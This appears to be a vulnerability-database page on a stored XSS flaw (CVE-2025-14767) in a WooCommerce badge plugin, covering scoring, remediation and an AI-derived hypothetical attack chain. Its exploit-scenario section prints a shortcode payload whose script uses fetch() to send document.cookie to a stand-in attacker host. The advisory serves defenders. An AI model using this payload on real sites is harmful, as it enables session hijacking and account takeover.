Skip to main content

WPC Badge Management for WooCommerce EUVDEUVD-2025-209823

| CVE-2025-14767 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-13 Wordfence GHSA-vgwg-ch44-7wrj
5.5
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker compromises Shop Manager account
  2. Delivery
    Access WordPress admin dashboard
  3. Exploit
    Insert malicious wpcbm_best_seller shortcode into page
  4. Install
    Publish page containing XSS payload
  5. C2
    Victim visits infected page
  6. Execute
    JavaScript executes in victim's browser
  7. Impact
    Attacker steals session token or redirects to phishing site
  8. Step 8
    Account compromise or credential theft occurs

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to possess or compromise a WordPress user account with Shop Manager role or higher (Editor, Administrator). The wpcbm_best_seller shortcode must be present or insertable in the target page (typically via page/post editor or theme template). No special plugin configuration is required-the vulnerability exists in default installations. The vulnerability is limited to authenticated users with PR:H privileges; unauthenticated remote attackers cannot directly inject payloads. Site administrators who restrict Shop Manager role assignment or implement strict code review workflows for page edits can mitigate risk. Multi-site WordPress installations where Shop Managers can edit pages site-wide face higher exposure than single-site installations.

Impact

CVSS 5.5 with vector AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N indicates moderate impact with important contextual limitations. The network attack vector and low complexity reflect that the shortcode can be injected remotely via WordPress admin interface. However, the PR:H (High Privilege) requirement is a significant bottleneck-exploitation requires Shop Manager role or above, which is not typically granted to untrusted users. The lack of user interaction (UI:N) means no social engineering is needed once a malicious page is created. Scope:Changed indicates the impact affects other users viewing the page, not just the attacker. The real-world risk is lower than CVSS suggests due to the authentication barrier: this primarily threatens multi-user WordPress installations where Shop Managers are used but not fully trusted, or where account compromise of a Shop Manager has occurred. Without EPSS score or KEV status provided, estimated exploitation likelihood is low in typical single-admin sites but moderate in larger ecommerce teams. No POC public availability data was provided, further reducing immediate risk. This is a privilege-gated stored XSS-serious for its scope but not as critical as unauthenticated XSS vulnerabilities.

Exploit ScenarioDerived

A compromised or malicious Shop Manager logs into the WordPress admin dashboard, navigates to the page or post editor, and inserts the shortcode [wpcbm_best_seller text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] into a published page. When legitimate customers or site administrators visit that page, the injected JavaScript executes in their browsers, stealing session cookies and sending them to the attacker's server, enabling account takeover or data exfiltration.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 13, 2026

Stored Cross-Site Scripting in WPC Badge Management for WooCommerce plugin versions up to 3.1.6 allows authenticated attackers with Shop Manager-level access to inject arbitrary JavaScript via the 'text' attribute of the wpcbm_best_seller shortcode. The injected scripts execute in the browsers of any user visiting the affected page, enabling credential theft, session hijacking, or defacement. The vulnerability stems from insufficient input sanitization and output escaping in shortcode processing.

RemediationAI

Update WPC Badge Management for WooCommerce to version 3.1.7 or later. Per the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/bf02edc9-2bb6-4ceb-b2a1-63f95c8becb3?source=cve) and the plugin changeset reference (https://plugins.trac.wordpress.org/changeset/3519100/), the vulnerability was fixed by implementing proper input sanitization and output escaping in the shortcode handler at includes/class-shortcode.php line 98. As a temporary workaround for sites unable to update immediately, restrict Shop Manager role assignment to only fully trusted administrators, and audit existing Shop Manager accounts to remove any unused or compromised accounts. Additionally, implement WordPress user role management plugins to log and alert on changes to Shop Manager permissions. These workarounds do not eliminate the vulnerability but reduce the attack surface by limiting who can inject malicious shortcodes.

Affected VersionsENISA

WPC Badge Management for WooCommerce 0 ≤3.1.6

Affected Packages

euvd wpc_badge_management_for_woocommerce no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The wpcbm_best_seller shortcode in WPC Badge Management for WooCommerce processes user-supplied input through the 'text' attribute without proper sanitization before storage in the WordPress database (stored XSS component) or escaping before rendering in the page output (reflected component). The underlying issue is CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic web application vulnerability where untrusted input is incorporated into dynamically generated HTML without appropriate encoding or filtering. The plugin is integrated into the WordPress plugin ecosystem and leverages WordPress's shortcode API (wp_add_shortcode), making it a server-side rendering context where escaping functions like esc_attr() or wp_kses_post() should have been applied.

Know when Wpc Badge Management For Woocommerce gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 5.5 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The WPC Badge Management for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' attribute of the wpcbm_best_seller shortcode in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

28
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy